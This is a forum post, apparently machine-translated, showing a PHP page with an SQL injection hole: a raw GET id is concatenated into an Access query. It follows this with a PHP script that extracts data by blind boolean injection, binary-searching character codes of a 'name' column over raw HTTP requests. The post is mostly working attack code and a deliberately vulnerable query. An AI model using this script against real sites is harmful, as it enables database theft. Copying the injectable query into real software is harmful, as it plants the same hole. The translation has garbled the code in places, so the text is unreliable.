From Langu Forum
B. php copy the content to the clipboard code:
<? Php
$ Conn = new com ("ADODB. Connection ");
$ Connstr = "DRIVER = {Microsoft Access Driver (*. mdb)}; DBQ =". realpath ("data. mdb ");
$ Conn-> Open ($ connstr );
$ Rs = new com ("ADODB. RecordSet ");
$ SQL = "select * from news where id =". $ _ GET [id];
$ Rs-> Open ($ SQL, $ conn, 1, 1 );
If (! $ Rs-> eof ){
Echo "{OK }";
} Else {
Echo "{no }";
}
?> Injection exists. But there is no output result, just to determine whether it exists. Copy the content to the clipboard code:
<? Php
Error_reporting (7 );
Ini_set (max_execution_time, 0 );
Function send (){
Global $ host, $ cmd;
// $ Cmd. = "";
$ Message = "GET/B. php? Id = ". $ cmd." HTTP/1.1 ";
$ Message. = "Accept :*/*";
$ Message. = "Accept-Language: zh-cn ";
$ Message. = "Content-Type: application/x-www-form-urlencoded ";
$ Message. = "Host: $ host ";
$ Message. = "Connection: Close ";
$ Fp = fsockopen ($ host, 80 );
Fputs ($ fp, $ message );
$ Resp =;
While ($ fp &&! Feof ($ fp ))
$ Resp. = fread ($ fp, 1024 );
Preg_match (/{OK}/, $ resp, $ pre );
If ($ pre) return true;
}
Function Binsearch ($ SQL ){
Global $ cmd;
$ Low = "32 ";
$ High = "128 ";
While ($ low <= $ high ){
$ Mid = intval ($ low + $ high)/2 );
$ Cmd = $ SQL. "=". $ mid;
Echo "$ mid ";
If (send () {echo "Lucky"; return $ mid ;}
$ Cmd = $ SQL. "<". $ mid;
If (send ()){
$ High = $ mid-1;
Echo "Bigger ";
} Else {
$ Low = $ mid + 1;
Echo "Smaller ";
}
}
Return (-1 );
}
$ Host = "127.0.0.1: 8080 ";
$ SQL = "15% 20and % 20asc (left (name, 1 ))";
Echo Binsearch ($ SQL );
?>